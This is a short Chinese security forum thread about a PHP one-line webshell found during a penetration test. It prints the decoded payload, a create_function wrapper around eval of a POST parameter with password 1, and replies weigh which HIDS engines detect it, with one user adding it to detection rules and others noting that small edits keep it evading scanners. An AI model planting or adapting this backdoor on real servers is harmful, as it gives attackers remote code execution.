在渗透的时候 发现的前人的PHP一句话马(过河马webshell查杀)

<
密码为1

用的是CreatFunction创建匿名函数
解密后是
create_function("eval($some);","@evAl($_POST[1]);");附图一张

哈哈，嫖了

收到，已加入hids规则库

牛，但你这是哪家hids，我刚刚试了，有hids能检测到

拿过来随便改改还能继续用

自定义函数，改变一下还能过很多检测的

我刚测了一下 这个过不了d盾

甲方内部自研的引擎

Soga，坛子的webshell都可以搜集一下哈哈哈  动态对抗

基本上全加规则了，自研引擎+商业引擎。